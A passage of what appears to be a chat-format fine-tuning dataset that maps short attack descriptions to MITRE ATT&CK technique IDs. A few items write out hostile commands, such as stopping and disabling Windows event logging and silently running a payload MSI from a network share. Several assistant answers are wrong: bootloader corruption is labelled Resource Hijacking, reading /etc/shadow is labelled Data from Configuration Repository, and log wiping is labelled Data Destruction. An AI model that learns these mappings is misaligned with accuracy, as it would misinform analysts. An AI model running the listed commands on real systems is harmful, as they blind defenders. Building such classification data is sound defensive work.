                "content": "The intruder leverages a compromised Microsoft OneDrive account, uploading stolen records via the OneDrive REST API, blending the activity with legitimate user sync operations."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a known vulnerability in an outdated content management system to gain initial foothold on the web server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses signed system binaries to launch payloads, avoiding detection by security tools."
            },
            {
                "role": "assistant",
                "content": "T1218 - System Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Create a backdoor account with elevated privileges for future unauthorized access"
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analyst notes: adversary performed a remote DCOM execution to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs 'launchctl list' to enumerate system services and identify which can be hijacked for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script invokes the Windows API to enumerate logged‑on user credentials."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the threat actor runs 'sc stop eventlog' and 'sc config eventlog start= disabled' to stop Windows event logging."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion method involves testing a handful of common passwords against many user accounts to quietly gain access without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a credential dumping technique to retrieve saved RDP credentials, then hijacks an existing remote session to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Pass the Hash technique, the attacker replays captured hash values to impersonate legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor abuses OAuth tokens to access a victim's web service and inject malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑espionage group injects malicious code into a high‑traffic e‑commerce site to harvest credit‑card data."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script erases all log files and system event records to hide activity and disrupt operations."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages SDN controllers to replicate user traffic and channel the duplicated data to their exfiltration service."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the organization's SIEM correlation rules to filter out alerts related to their C2 traffic, impairing the indicator-based defense."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged a malicious OAuth token to retrieve files from the victim's Dropbox repository."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a kernel-mode rootkit that intercepts system calls to hide its malicious files and processes from detection tools."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise the software update mechanism of a banking app to push a backdoored binary to end users."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed LDAP enumeration via Confluence to map user accounts and their associated pages."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a compromised domain to host an exploit kit that performed drive‑by compromise, installing spyware on browsers that visited the site."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user account runs msiexec /qn /i \\\\networkshare\\payload.msi, which triggers the execution of a backdoor embedded within the MSI, demonstrating system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware is written in source code, delivered in an obfuscated form, and only compiled after it reaches the target system."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs process injection by allocating space in the extra window of a target process and inserting its code, then sends a WM_CREATE message to run it."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs a Google dork search to locate PDFs containing internal organization charts of the target company."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage legitimate cloud storage APIs as a backup channel to upload stolen files when direct upload is detected."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor executed a VNC connection to control the victim's desktop over the network."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant encodes payloads with Base32 to evade simple pattern matching."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan employs the Qt framework's QScreenGrabber to silently take screenshots of active windows."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a SQL injection flaw to retrieve password hashes from a database."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a cloud service's domain as a cover, the adversary forwards requests to their own server, employing domain fronting to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link that, when clicked, triggers a download of a malicious payload referenced by the link's target URL."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads Linux /etc/passwd and /etc/shadow files to collect user account details and password hashes."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copies a malicious DLL to the system and triggers its execution by launching verclsid.exe with the DLL's path as a parameter."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command 'net time' is issued to obtain time synchronization details from the target."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was hidden inside a .csv file by altering its file format identifier, causing spreadsheet software to treat it as a regular data file."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised host communicates with the attacker via TCP over port 443 using a custom protocol."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs domain fronting with a content delivery network to exfiltrate data, making the outbound traffic appear as regular web browsing to security tools."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet launches a SYN flood against the victim's firewall, causing it to drop legitimate connections."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the Active Directory forest to list all trusted external domains and their relationships."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the hidden resource fork of a system library to inject code that runs with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated rootkit is used to hide registry entries and scheduled tasks, preventing forensic analysis from discovering the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the contents of com.apple.screensaver.plist to prevent the lock screen from activating on macOS devices."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the resource fork of a legitimate image file, the attacker hides a secondary payload."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers infiltrate home routers, install malware, and aggregate the infected devices into a botnet that is later used to flood the victim's web services."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses Mimikatz to dump plaintext passwords from the LSASS process."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a .cmd file into the All Users Startup folder, ensuring execution on every user logon."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a DLL hijacking technique on a high‑privilege process to execute malicious code with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker replaces the site's favicon with an image containing defacement symbols."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a compromised CI/CD pipeline token to clone internal repositories from Azure DevOps, extracting source files and configuration scripts."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a cookie tampering attack, modifying cookies stored on a user's device to bypass security controls or track user activity."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging a legitimate signed driver, the attacker disables Windows Defender real‑time protection without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed a remote code execution vulnerability to upload a script that stages additional malware on the host."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a screen overlay that mimics legitimate applications, capturing user input entered into the fake interface."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script modifies the registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced to hide file extensions and obscure malicious files."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a zero-day to corrupt the bootloader, preventing OS startup."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a privilege escalation attempt, the attacker adds an unquoted directory containing a rogue \"tasklist.exe\" to the PATH, leading privileged processes to execute the malicious binary when tasklist is invoked."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sets up a rogue proxy server and forces browsers to use it, enabling the interception and modification of web traffic for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a fake cloud tenant under the victim's organization to hide malicious activities."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performed a WHOIS lookup on the victim's domain to obtain registration details, including the registrant's name, email, and phone number."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script accesses the Windows Event Logs to collect security and login events."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a compromised API Gateway endpoint to trigger a Lambda function that downloads and executes a ransomware payload in the victim's environment."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro drops a Python script which then installs a keylogger on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary calls the GetSystemTime API to retrieve the local system time and uses it to synchronize malicious activities."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used a compromised service account's credentials to create a Silver Ticket, bypassing KDC authentication and accessing the domain's backup service."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor downloads vulnerability exploits from exploit repositories to enhance their malware."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Management Instrumentation (WMI) class Win32_OperatingSystem to read password policy attributes."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary launches a large-scale UDP flood against the victim's DNS server, saturating its network link and causing service outage."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injected a malicious ISAPI filter into the IIS server's configuration to achieve remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages a man-in-the-middle technique on the network to intercept and manipulate the SSH handshake, allowing them to assume the victim's session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised service account to issue a snapshot request on an AWS EBS volume via the AWS CLI."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts open‑source research to enumerate the victim organization’s hierarchy, listing employee titles and departmental roles."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors target a third‑party library signing service, inserting malicious code into library updates that are then signed and distributed as legitimate."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals manipulate search engine results by creating fake product review pages that contain links to phishing sites targeting shoppers looking for popular electronics."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary captures a valid SSH private key from a compromised host and reuses it to connect to the same server, taking over the existing user session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script authenticates to a victim's Exchange server and extracts all email messages using MAPI over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The botnet resolves a set of domains generated by an algorithm that incorporates the system's hostname."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
